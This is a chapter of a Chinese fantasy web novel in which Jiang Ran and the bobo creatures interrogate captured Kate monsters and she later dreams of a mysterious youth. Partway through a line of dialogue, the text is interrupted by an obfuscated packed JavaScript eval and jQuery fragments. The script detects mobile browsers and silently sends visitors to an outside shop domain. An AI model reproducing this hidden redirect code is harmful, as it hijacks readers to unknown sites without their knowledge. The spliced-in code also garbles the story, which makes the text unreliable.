“吱吱吱吱~吱吱吱吱吱吱~”
被拍的卡特人，缩成并不可爱的一团，仍然坚持不懈地磨牙，拒绝交流。
姜然自手心释放出一缕缕的绿雾，两只手同时挥动，很快编织出一个大笼子。
“哇哦，我真棒，胡乱编就有这效果。”姜然拍了拍手，“啵啵们，把萝西怪赶进笼子里。”
啵啵们嬉戏打闹间把卡特人赶进笼子。
啵啵小队押住被俘的浊影卡特人折返，姜然与一行啵啵停驻在森林岔路口开阔的空地之上。
这片空地四周只有低矮灌木丛，没有高大树木遮挡，视野通透，方便看管俘虏，也能隔绝密林深处残留的厚重灰雾，防止卡特人借助浊气恢复力气。
同时又距离啵啵们的核心腹地较远，也不用担心有弱小的啵啵被伤害。
十几只啵啵自发散开，围成一圈环形防线，把三只通体漆黑的卡特人牢牢困在中央，不留任何可以逃窜的缺口。
“你们还是不肯说吗？”姜然问。
“吱吱吱，吱吱吱~”像老鼠叫声的磨牙声，持续入耳。
“它们是哑巴，对吧？”姜然问粉啵啵。
“我从未和卡特人近距离打过交道，并不清楚。”粉波波眨巴着大眼睛说。
“它们的语言好像就是磨牙声，据说森林里有萝西怪能听懂。”樱桃啵啵小声道。
姜然和啵啵们都将视线转向到一个方向，岔路口左边的蘑菇森林路牌——那只头顶长着路牌的萝西怪，它仍然一动不动地站在那里。
“如果在地球，它应该可以参加太阳系劳模评选。”
姜然话音才落，啵啵们异口不同声地发问。
“什么是劳模？”
“什么是太阳系？”
“什么是地球？诶！姜大人之前好像提过。”
姜然：“问的很好。不过现在这些都不重要，重要的是翻译出卡特人的磨牙声。”
“好的，大人。”
啵啵们没有再继续发出好奇宝宝式的疑问。
粉啵啵走到黄色独眼小怪面前，额头独角与它的触角相贴。
然后，转过身蹦蹦跳跳着朝姜然跑过来。
啵啵叫道：“它说它也听不懂。”
姜然：“……”
那你还跳那么欢，这合适宜吗？
不过它们毕竟只是萌萌的啵啵，姜然认为不能用规训人类的一套，来要求它们。
通过大半天的相处，她观察到，啵啵天性调皮爱玩，它们如果心情好，独角上的光就会更亮，战斗时能量就会更强，如果心情低落，能量就更低。
还未待姜然说话，四五只啵啵凑到蘑菇森林路牌面前。
一只透明啵啵跑到姜然腿边，睁着无辜的大眼睛望着她：“森林里有会翻译卡特人语言的萝西怪。”
姜然弯下腰rua了rua它毛茸茸的脑袋，说“那你们去把翻译怪找来，我在这里看着卡特人。”
“好的，啵~”
随后啵啵们在蘑菇森林路牌的带领下，顺着左侧小路快速穿行而去。
它们行动轻盈，穿梭在灌木之间没有半点阻碍，过了大约十分钟，远处就传来“啵啵”声。
“我们找到萝西翻译怪了。”
没过多久，它们领着一只体型稍小的萝西怪一路小跑赶来。
翻译萝西怪站到雾笼边缘，凑近笼内的卡特人，细长的触角放在卡特人的脸颊上，专心分辨杂乱无章的磨牙频率。
安静感应了半分钟，翻译萝西怪转过身，仰起小巧的脑袋，两根金针菇大小的触角和一只蓝啵啵的独角相接。
“它们从头到尾都在用话语辱骂。”蓝啵啵叫道。
姜然抬了抬眼皮，开口追问。
“骂什么？”
“它们在嘲讽所有啵啵族，说啵啵只是一群只会吸食寡淡无味绿雾的愚蠢小东西。”蓝啵啵头边说，头上的角都黯淡了。
这？是骂了，但也不至于伤心得角都黯了。姜然又总结出啵啵的一个特性——容易被别人的语言控制。
她抬起手，一缕淡绿气缓缓铺开，完整笼罩住笼内三只卡特人。纯净柔和的雾气贴紧它们遍布浊气的躯体，顺着皮肤缝隙一点点向内渗透，不断消解它们赖以生存的黑雾。
绿雾裹身的瞬间，笼内的卡特人浑身不受控制地剧烈抽搐，牙齿碰撞的节奏变得急促。
翻译萝西怪连忙贴近雾笼，仔细分辨磨牙频率，然后转过头与蓝啵啵角相触。
“它们现在在拼命求饶，恳求您收回身上散开的绿雾。雾气太过干净清新，和它们赖以存活的浊气完全相悖，身体本能排斥，根本承受不住这种净化力量。”
话音落下，三只卡特人在泥土地面不停扭曲翻滚，四肢胡乱蹬踏地面，指甲刮出一道道深浅不一的泥痕。它们渴求灰雾的模样，和染上恶习、急需毒物缓解煎熬的瘾君子没有任何区别。
姜然抛出她的疑问。
“既然灰雾才是你们能够适应的环境，老老实实守在结界破损、灰雾密布的区域待着就足够。为什么非要耗费力气，一路冲到南边啵啵族群的领地自讨苦吃？这片林地是整片大陆绿雾浓度最高的地方，对你们来说等同于折磨。”
笼内翻滚的卡特人动作微微停顿，磨牙节奏放缓几分。
蓝啵啵：“它说，长期待在灰绿交织的雾气之中，我们自身确实会持续承受煎熬损耗。但只要能够彻底污染整片大陆，把每一处林地、每一寸土地全部化为卡特一族的专属领地，眼下所有煎熬，都有价值。啊~我要灰雾，不要绿雾。”
姜然抓住对方最大的软肋：“如实交代所有被抓走的萝西怪关押地点，以及完整的看守部署，我可以分一小团灰雾，给你们吸食缓解痛苦。”
雾笼里只有断断续续、节奏杂乱的磨牙声来回响起。
“所有被俘获的萝西怪，全部关押在大陆最北端的地底洞穴之中。三天之后，整片大陆浊气浓度会攀升至全年顶峰，到时候领主会把所有萝西怪全部吞食。”
说完这句话，三只卡特人直接低下头，紧紧闭合上下两排牙齿，任凭姜然再怎么开口追问，都不肯再发出一丝一毫磨牙声响。
站在一旁等候的翻译萝西怪见状，主动转身钻进一旁遍布灰雾的灌木丛，短短片刻之后，捧着一团浓稠暗沉的灰雾折返回来，轻轻放在雾笼外侧的地面上。
灰雾一出现，笼内原本安分下来的卡特人立刻躁动起来，争先恐后朝着雾气的方向挪动身体，大口吸纳熟悉的浊气。
吸食完这一团灰雾，它们又重新快速磨牙。
翻译怪将信息传递给粉波波，粉波波同步传达：“它们说，赞美灰雾！美味可口的灰雾。”
“灰雾会吞噬所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766220|209699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有绿雾。”
“赞美伟大的领主，领主会带领我们统治波西特。”
姜然抬手甩过去一道绿雾，三只卡特人又继续缩成并不可爱的一团。
“你们还真是分不清大小王啊，翻译怪让它们闭嘴，不对，是让它们不要再磨牙了，注意保护牙齿。”
翻译怪将信息传达过去后，姜然耳根终于清净了。
脚然脚边，有三五只啵啵已经开启随地大小睡模式了，有一只还打起了小呼噜。
还有有几只啵啵歪歪斜斜倚靠在树干上，眼皮沉重地耷拉着，头一点一点的，一副想睡不能睡得模样。
从出发追踪浊影、和卡卡特正面开战，再到一路押解俘虏赶回岔路口空地、连续配合审讯，这群圆滚滚的小家伙耗费了不少力气。
姜然抬手，源源不断的淡绿雾气从十根指尖向外流淌，在空中相互缠绕、交织，加固雾制牢笼，将三只卡特人完整包裹锁死，彻底限制它们所有逃窜、挣扎的空间。
几只醒着的啵啵，睁开明亮的大眼睛望着她，她挨个摸了一遍。
“两只啵啵组成一组，轮流守在雾笼四周看管俘虏，累了便更换一次值守人手。其余好好休息恢复体力。”
啵啵们乖乖点头应下，按照两人一组的分配有序就位，剩下的小家伙扎堆靠在灌木丛边，闭上了眼睛，世界瞬间安静了下来。
姜然抬脚，朝着巨石的方向缓步慢行。
沿途穿过层层交错、枝干粗壮的古老树木，避开大片灰雾笼罩的区域，没过多久，最初她坠落异世时躺卧的巨型巨石，静静出现在视野前方。
她抬手，周身裹上一层轻薄柔和的绿雾，雾气轻轻托举她的身躯，双脚轻轻向上发力一跃，平稳落在宽阔平整的巨石台面之上。
石台坐落于整片林地高处，四周没有浓密灌木遮挡，微风穿过枝叶，送来凉爽的气息。
姜然后背轻轻倚靠在冰凉坚硬的石壁上，积攒的疲惫此刻全部翻涌上来。
她抬手望了望手腕上的古老的机械表，这是父亲在她十五岁那年送给她的生日礼物，父亲说这块表是祖父送给他的，产于2026年，距离现在已经将近一百年。
表盘里的指针指在六点过十五分。一天都还没过去的时间里，她经历了一桩桩匪夷所思的事件。
在低空航线上遭遇高空抛物、意外穿越异世、救治大批重伤啵啵、长途赶路追踪浊影、和魔物卡卡特正面缠斗。想着想着，沉重的眼皮不受控制地往下垂。
她干脆调整姿势，侧身平躺到平整石面上，脑袋贴着微凉的岩石表层。林间微风轻轻拂过发丝，很快意识快速沉入睡意之中，彻底陷入梦境。
眼前视野被无边无际、柔软流动的淡绿薄雾填满，天地之间再无别的景物，只有层层流转、温润干净的雾气。
雾气中央静静立着一道挺拔修长的少年身影。
身形比例恰到好处，五官格外俊美，是她之前吸收绿源石时，恍惚看见的少年——每一处长相细节都精准踩中她的审美喜好，挑不出半点违和。
少年安静地站在薄雾尽头，冷冽的声音穿透层层绿雾，清晰传进她的耳朵。
“你过来。”
整片梦境流动的绿雾像是瞬间凝固，不再肆意翻涌。
“不是，你长得是挺好看的，但是怎么那么没有礼貌，我凭什么要过去？”